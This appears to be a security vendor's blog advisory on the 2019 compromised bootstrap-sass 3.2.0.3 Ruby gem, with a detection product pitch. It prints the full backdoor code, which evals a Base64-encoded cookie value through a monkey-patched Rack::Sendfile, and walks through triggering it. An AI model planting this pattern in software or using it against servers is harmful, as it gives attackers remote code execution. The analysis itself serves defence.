Skip to content

Prevent Bootstrap-sass RubyGem Remote Code Execution (RCE) | Contrast Security

    
On March 26, 2019, malicious attackers uploaded a vulnerable version, 3.2.0.3, of the widely used bootstrap-sass Ruby gem. This gem has been downloaded an astonishing number of times - exactly 27,991,888 times, according to RubyGems. User dgb posted an issue in GitHub that outlined the malicious code.

The malicious code looked like:

begin
  require 'rack/sendfile'
  if Rails.env.production?
    Rack::Sendfile.tap do |r|
      r.send :alias_method, :c, :call
      r.send(:define_method, :call) do |e|
        begin
          x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
          eval(x) if x
        rescue Exception
        end
        c(e)
      end
    end
  end
rescue Exception
  nil
end

The malicious version of bootstrap-sass imported rack/sendfile and modified the r.send method by monkey patching it to read an HTTP cookie by the name of ___cfduid. (We believe this cookie name was chosen because it’s very similar to a well-known cookie name used by CloudFlare; and, therefore, may be blindly trusted by many systems.) The malicious code read this cookie, Base64 decoded it and ran an eval dynamically at runtime with the decoded value. eval is used for metaprogramming in Ruby, which allows Ruby to write code that writes code for itself dynamically. (Yes, it’s as crazy and powerful as it sounds.) This inherently results in a Remote Code Execution (RCE) vulnerability. This specific RCE allows the attacker to submit any Ruby code as an HTTP cookie value, which is then used to write Ruby code to run dynamically on the server side. The impact is high, as it allows full attacker control to write and execute Ruby code dynamically on the backend server. The likelihood is high, as this exploit only requires the attacker to submit a request with a Base64-encoded value in the aforementioned HTTP cookie.

What does the Ruby exploit look like?

Here’s an example of how this Ruby security issue works:

  1. The attacker crafts Ruby code such as Time.now. While this is not a malicious payload, we’ll use it to explain the vulnerability.
  2. The attacker Base64 encodes that value to VGltZS5ub3c=.
  3. Once the attacker has their malicious payload, they craft a request to the backend system that’s using the vulnerable version of bootstrap-sass. The request includes an HTTP cookie name and value of ___cfduid=VGltZS5ub3c=.
  4. The vulnerable code grabs the ___cfduid cookie value and Base64 decodes the payload.
  5. Once the cookie value is decoded, the malicious code runs eval("decoded cookie value").
  6. The result is Ruby dynamically evaluating Time.now as code and rendering the current system time.

A real attack would do something more damaging, such as running system commands, running commands against the database, modifying/stealing user session data, etc.

Has the Ruby security issue been fixed?

The vulnerable version, 3.2.0.3, was removed from RubyGems on March 26, 2019. The vulnerability has been fixed in minor version 3.2.0.4 within RubyGems. We highly recommend anyone using the bootstrap-sass gem to update to this minor version without requiring major version updates.

Is there an associated CVE or CVSS value?

As of April 4, 2019, a CVE was added to NIST's NVD, but was awaiting further information and didn’t have a CVSS value. However, Contrast believes this vulnerability has a very high likelihood and high-impact resulting in a high/critical risk to an organization using the vulnerable version of bootstrap-sass.

How does Contrast detect this vulnerability?

Contrast uses instrumentation to follow data flow from source to sink to determine if tainted data coming in (the source) is used in an unsafe manner going out (the sink). We have a highly sophisticated and vetted set of policies, rules, and dangerous sinks that are evaluated with all incoming data. The great news for our customers is we closely monitor Ruby eval as it could be a very dangerous sink, which we call “unsafe code execution”, especially when it involves tainted data. In the case of this vulnerability, the tainted data is coming directly from an HTTP cookie value.

How does Contrast Assess help protect you?

In this scenario, Contrast Assess would locate the vulnerable code when the library was updated to version 3.2.0.3 and the Contrast agent detected the tainted source (HTTP cookie) being sent directly to eval without validation. Contrast would report this as unsafe code execution. Both Saas and Enterprise-on-Premises (EOP) users would be immediately notified of a new vulnerability in the Contrast UI.

UnsafeCodeExecution

To confirm you have the appropriate rule enabled in Contrast:

  1. Log in to the Contrast UI as an organization administrator.
  2. In the user menu, select “Policy Management.”
  3. Click the “Assess Rules” tab and then select the “Unsafe Code Execution” rule to validate it is enabled for your Ruby environments.

Assess_zoomed

 Setting

To learn more about managing Assess Rules, read the article in Contrast OpenDocs.

David Lindner, Chief Information Security Officer

David Lindner, Chief Information Security Officer

David is an experienced application security professional with over 20 years in cybersecurity. In addition to serving as the chief information security officer, David leads the Contrast Labs team that is focused on analyzing threat intelligence to help enterprise clients develop more proactive approaches to their application security programs. Throughout his career, David has worked within multiple disciplines in the security field—from application development, to network architecture design and support, to IT security and consulting, to security training, to application security. Over the past decade, David has specialized in all things related to mobile applications and securing them. He has worked with many clients across industry sectors, including financial, government, automobile, healthcare, and retail. David is an active participant in numerous bug bounty programs.